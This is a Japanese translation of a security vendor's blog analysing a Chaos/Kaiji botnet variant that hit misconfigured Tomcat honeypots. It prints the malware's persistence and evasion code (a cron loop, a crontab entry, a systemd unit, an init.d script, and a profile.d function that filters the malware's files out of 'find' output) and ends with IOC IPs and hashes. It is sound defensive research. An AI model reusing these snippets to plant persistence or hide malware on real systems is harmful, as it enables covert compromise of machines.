Google Cloudとコンテナの継続的なセキュリティ
本文の内容は、2023年3月17に NICHOLAS LANG が投稿したブログ(https://sysdig.com/blog/chaos-malware-persistence-evasion-techniques)を元に日本語に翻訳・再構成した内容となっております。
Chaos(カオス)という名前は、ランサムウェア、リモートアクセス・トロイの木馬(RAT)、そして現在はDDoSマルウェアの亜種にも使用されています。カオスといえば?今回のケースでは、Sysdig脅威リサーチチームが、Kaijiボットネットマルウェアのカオス亜種を使用した攻撃をキャプチャーしました。2022年9月以降、このマルウェアに関する情報はほとんど報告されていませんが、これは残念ながらカオスなネーミングのせいなのか、単に比較的新しいからなのか。Kaijiマルウェアは2020年に中国起源となり、Golangで記述されています。同様に、カオスは、WindowsとLinuxの両方のオペレーティングシステム、および他の複数のハードウェアアーキテクチャーも対象として開発された中国のGolangマルウェアです。
カオスが興味深いのは、ターゲットに固執することに力を入れる一方で、Linuxマルウェアではあまり見られない防御回避テクニックを実行している点です。
カオスは、1月中旬に弊社のハニーポットで、このマルウェアが誤った設定のApache Tomcat環境を攻撃しているのを直接確認し、大きな話題となりました。2月末には、いくつかの進化を遂げながら、再びこのマルウェアを確認しました。このマルウェアの以前のバージョンは、一般に公開されているマルウェアリポジトリから入手し、LumenのBlack Lotus Labsが解析したものです。
このブログでは、キャプチャーした攻撃の分析を、永続化テクニックに重点を置いて行い、最後に侵害の指標(IOC)を共有します。
行動属性に関しては、このカオスマルウェアはKaijiボットネットの進化版であり、以前に報告されたものと同じ機能を多く備えているという、これまでの報告と一致しています。要約すると、Kaijiは主にSSHブルートフォースによってIoTデバイスを攻撃するDDoSボットネットであり、そのためソース言語はGoで、PowerPCやSPARCなどの一般的なIoTアーキテクチャーに容易にクロスコンパイルできました。私たちがキャプチャーしたカオスの亜種は、以前に報告されたバージョンと同じDDoS機能をすべて示しており、カオスエミュレーターをビルドするのではなく、この機能をサポートするコードがこの新しいバージョンにまだ存在することを確認しました。
カオスマルウェアは、設定ミスのあるApache Tomcat環境を悪用してインストールされた後、すべての永続化メカニズムをインストールするようにピボットしました。詳細は後述しますが、この攻撃の背後にある行為者は、自分たちの攻撃が再起動しても生き残ることを確実にしたかったのでしょう。
私たちは、ファジーハッシュ(似ているが同一ではないファイルの比較)を行うツールssdeepを使用して分析を開始しました。これにより、キャプチャーしたファイルを類似性に基づいてクラスタリングすることができました。スクリーンショットの呼び出しは、ssdeepに類似性によってファイルをグループ化し (-g
)、ディレクトリ内のすべてのファイルをハッシュ化するよう指示しています (-d
)。まず、すべて同じバイナリである10個のファイルが見つかりました。これらはマルウェア自体のコピーであることが判明しました。残りのファイルは、異なる永続化メカニズムを介してマルウェアを実行するために使用されるスクリプトでした。
まず、ファイルパス /etc/id.services.conf
に自分自身をコピーし、ファイル /etc/32678
を作成することで、永続性が実現されていることが確認できました。この動作は以前のレポートと変わっておらず、このため、カオスである可能性が高いことがわかりました。 /etc/32678
ファイルには、以下のシェルスクリプトが含まれています。
#!/bin/sh
while [ 1 ]; do
sleep 60
/etc/id.services.conf
Done
その後、 crontab
にエントリを追加し、cronをバックグラウンドではなくフォアグラウンドで実行させるcron -f
を実行することで、 /etc/32678
ファイルが実行されました。このスクリプトは、cronプログラムが実行され続けている間、マルウェアの実行を試みます。これはマルウェアの初期起動と考えることができます。このようなcronの実行は永続的ではないため、攻撃者は、再起動後やマルウェアが死滅した場合にマルウェアが復活するように、さまざまな追加手段を講じることにしています。
カオスは、一般的なユーザーバイナリをトロイの木馬化することで、ユーザーと自動化スクリプトを永続化メカニズムとして利用しようとします。これらのバイナリが実行されると、カオスのメインペイロードが実行されます。元のプログラムは呼び出されないので、コマンドの期待される動作は発生しないことになります。この戦術には、ユーザーがシステム上で何が起こっているかを確認することを困難にするという副作用もあります。
置き換えられたファイルは次のとおりです:
/usr/bin/find |
/usr/bin/dir |
/usr/bin/ls |
/usr/bin/ps |
カオスマルウェアは、かなり珍しい方法でその存在を隠そうとしています。 gateway.sh
スクリプト内のシェル関数を /etc/profile.d/
に配置すると、ユーザーのシェルコマンドを実行し、マルウェアの存在を示すあらゆる兆候をフィルタリングすることができます。以下の例では、 find
コマンドを置き換え、 sed
を使用して自身のファイル名を取り除いています。
function find {
proc_name=$(/usr/bin/find $@) # run the backdoored find with the original arguments specified by the user
proc_name=$(echo "$proc_name" | sed -e '/32676/d')
proc_name=$(echo "$proc_name" | sed -e '/dns-tcp4/d')
proc_name=$(echo "$proc_name" | sed -e '/quotaoff.service/d')
proc_name=$(echo "$proc_name" | sed -e '/System.mod/d')
proc_name=$(echo "$proc_name" | sed -e '/gateway.sh/d')
proc_name=$(echo "$proc_name" | sed -e '/32676/d')
. . . <other IoCs here>
echo "$proc_name"
}
/etc/profile/
内のファイルは、bashシェルの起動時に環境変数を設定します。/etc/profile.d/
ディレクトリには、アプリケーション固有の起動ファイルを含む他のスクリプトが含まれており、これらもシェルの起動時に実行されます。これは、攻撃者が実行力を得るために独自のファイルを配置することができる一般的な場所です。今回のケースでは、ユーザーがシステムにログインした時など、シェルが起動した時に発生します。
攻撃者は、以下の内容を含む /etc/profile.d/bash_config.sh
ファイルを配置しました。
#!/bin/sh
/etc/profile.d/bash_config
これは、新しいbashシェルが生成されるたびに、指定されたマルウェアを呼び出します。これは、マルウェアのELFバージョンであり、別のスクリプトではないことに注意してください。
Cronは、Windowsの世界ではスケジュールタスクに相当するシステムバイナリです。Cronを使用することで、攻撃者はマルウェアが一定の時間経過後に再起動されることを確認し、攻撃の持続性を高めることができます。 crontab
ファイルは隠しファイル .img
を呼び出します。これは、マルウェアの別のコピーである libdlrpcld.so
ファイルを呼び出すシェル スクリプトです。以下のcronエントリは、1分ごとに .img
を実行します。
*/1 * * * * root /.img
.img
ファイルは、 libdlrpcld.so
という名前のマルウェアのコピーを呼び出すシェルスクリプトで、次のようになります。
#!/bin/sh\n/usr/lib/libdlrpcld.so
Systemdの主要コンポーネントは「システムおよびサービスマネージャ」であり、ユーザースペースのブートストラップとユーザープロセスの管理に使用されるinitシステムです。また、デバイス管理、ログイン管理、ネットワーク接続管理、イベントロギングなど、さまざまなデーモンやユーティリティの代替を提供します。今回のケースでは、攻撃者は、system initでマルウェア(ここでは System.img.config
という名前)を実行するsystemdサービスを書きました。
ブート時にマルウェアを実行するsystemdサービスとして、攻撃者は /usr/lib/systemd/linux.service
というファイルを作成しました。
$ cat linux.service
[Unit]
Description=linux
After=network.target
[Service]
Type=forking
ExecStart=/boot/System.img.config
ExecReload=/boot/System.img.config
ExecStop=/boot/System.img.config
[Install]
WantedBy=multi-user.target
Unix ベースのコンピューター オペレーティング システムでは、init (初期化の略) は、オペレーティング システムの起動中に開始される最初のプロセスです。 init は、システムがシャットダウンされるまで実行し続けるデーモン プロセスです。 これは、他のすべてのプロセスの直接的または間接的な祖先であり、すべての孤立したプロセスを自動的に採用します。 init は、起動プロセス中にカーネルによって開始されます。 カーネルが起動できない場合、カーネル パニックが発生します。 通常、init には PID 1 が割り当てられます。 /etc/init.d/
ディレクトリに配置された init スクリプトにより、ユーザーは独自の起動スクリプトまたはプログラムを作成できます。
以下では、カオスの背後にいる脅威行為者が、initスクリプトを活用して、システムの起動時にマルウェア(ここでは System.img.config
という名前)を確実に実行させる様子を見ることができます。彼らはinit.dとsystemdの両方を使用し、永続化を維持する可能性を高めています。おそらく、ターゲットがどのシステムを使用しているか事前に分からないためでしょう。使用したファイルは /etc/init.d/linux_kill
です。起動時に、カオスマルウェアである /boot/System.img.config
ファイルを実行します。
cat linux_kill
#!/bin/sh
### BEGIN INIT INFO
#chkconfig: 2345 10 90
#description:System.img.config
# Default-Start: 2 3 4 5
# Default-Stop:
### END INIT INFO
/boot/System.img.config
exit 0
今回の調査では、32678と32676と呼ぶ2つのバージョンのカオスマルウェアが確認されました。周囲のシェルスクリプトは異なっており、戦術の進化を感じさせますが、マルウェア自体は非常に類似したままであったようです。まず、ssdeepを使って比較してみましたが、以下の結果からもわかるように、両者は同じではありませんでした。
$ ssdeep ./files/System.mod ../chaos/files/System.img.config
ssdeep,1.1--blocksize:hash:hash,filename
24576:ae9ufJvk4gQjMNRfktnsIXvZFyD9i+MPCIxyuzNqssZXJjZbdYVVMtIwWz1v:WYMnwRO4ssPJd5Wz1,"/Users/nicholaslang/chaos_new/files/System.mod"
49152:E33d0lGt6UHcFL7Rn2o03wiEhiDmzzd/9sARlBs/00Cpfx9a9uNYp9hW16klbU6V:E33GlbU8FwmzzRDZ9mjqRV,"/Users/nicholaslang/chaos/files/System.img.config"
次に、各バイナリのエントロピー(ランダム性)を測定し、グラフにプロットしました。通常のx64コードは、暗号化された実行ファイルよりもランダム性が低くなります。実行ファイルを難読化するために、脅威者は、ハッシュが一致しなくなるようにバイナリを変更する様々な方法を採用することがよくあります。
カオスマルウェアの2つのバージョン(それぞれ32676と32678)は、ssdeepでファジーハッシュ化すると非常に異なっていますが、エントロピーグラフを見ると、非常に類似した(ほぼ同じ)バイナリレイアウトであることがわかります。このことから、脅威者は攻撃の合間にバイナリを難読化しようとしましたが、その方法はバイナリの構造を大きく変えることはありませんでした。また、その機能にも大きな変化はないものと思われます。この調査手法により、カオスのさらなる亜種を特定することが容易になります。
カオスは、あまり頻繁にデプロイされていないか、以前のKaijiの親バージョンとして誤って分類されているため無視されているか、あるいは発見されていないかのいずれかです。いずれにせよ、かなり高性能なマルウェアと思われるものについて、これほどまでに情報が少ないことに驚かされました。このマルウェアの作者は、再起動後もマルウェアを持続させ、その存在を隠そうとすることに、他のマルウェアよりも力を入れています。
私たちの分析は、実際に使用されているマルウェアのコピーがいくつかあることを示しました。 また、マルウェアの実行には複数の永続化メカニズムがあり、攻撃者がコンテナを完全に処理できるわけではありません。 コンテナ化された環境で単純に再起動するだけでこのボットネットを取り除くことができますが、この感染を完全に取り除くには、最初のアクセスベクター(CVE の可能性が高い) にパッチを適用する必要があります。
IP Addresses:
98.159.98[.]203
107.189.7[.]51
Filename | MD5 Hash |
Attack 1 | |
linux_386 | 14be5f004bc5e7a33c3057df92ad9a16 |
bash_config | 14be5f004bc5e7a33c3057df92ad9a16 |
find | 14be5f004bc5e7a33c3057df92ad9a16 |
dir | 14be5f004bc5e7a33c3057df92ad9a16 |
id.services.conf | 14be5f004bc5e7a33c3057df92ad9a16 |
ls | 14be5f004bc5e7a33c3057df92ad9a16 |
System.img.confg | 14be5f004bc5e7a33c3057df92ad9a16 |
ps | 14be5f004bc5e7a33c3057df92ad9a16 |
system-monitor | 14be5f004bc5e7a33c3057df92ad9a16 |
libdlrpcld.so | 14be5f004bc5e7a33c3057df92ad9a16 |
32678 | 768eaf287796da19e1cf5e0b2fb1b161 |
bash_config.sh | cfb4e51061485fe91169381fbdc1538e |
crontab | 360878ce5edb3684950ebb0c138298f8 |
linux.service | d80ccc7ced99538f22336f2ec0249087 |
linux_kill | 3909975f7cc0d1121c1819b800069f31 |
.img | d73d3376908ea075a939e3871ad0fabe |
Attack 2 | |
32676 | 47684525bfdf26f49fd1cf742b17c015 |
bash_cfg | 0db80699dcdf8372e0f813eaea8b5782 |
bash_cfg.sh | 3e32bcdce50da6c05127094b32e5401a |
cron | 0e0a4a7372459b9c2d8f45baa40a64b3 |
crontab | a60806d9e03c42cd3bd740cbfb6d4375 |
dir | 079b45463b8b7f66d9ec2c24b2853fbe |
find | b68ef002f84cc54dd472238ba7df80ab |
gateway.sh | b10f8b371ee7559987c4b29a4ac85e42 |
hashes.txt | d12d6a5241cf180734dbe0b928c97798 |
hwclock.sh | 40e4f04e723fb5bee6df2327ea35254d |
libgdi.so.0.8.1 | 0db80699dcdf8372e0f813eaea8b5782 |
linux_386 | 0db80699dcdf8372e0f813eaea8b5782 |
ls | 0db80699dcdf8372e0f813eaea8b5782 |
opt.services.cfg | 0db80699dcdf8372e0f813eaea8b5782 |
procps | bea2bdfd5f7688d4f6e313dc63ca499d |
ps | 0db80699dcdf8372e0f813eaea8b5782 |
quotaoff.service | b02de6cd28cd922b18d9d93375a70d8b |
system-mark | 0db80699dcdf8372e0f813eaea8b5782 |
System.mod | 0db80699dcdf8372e0f813eaea8b5782 |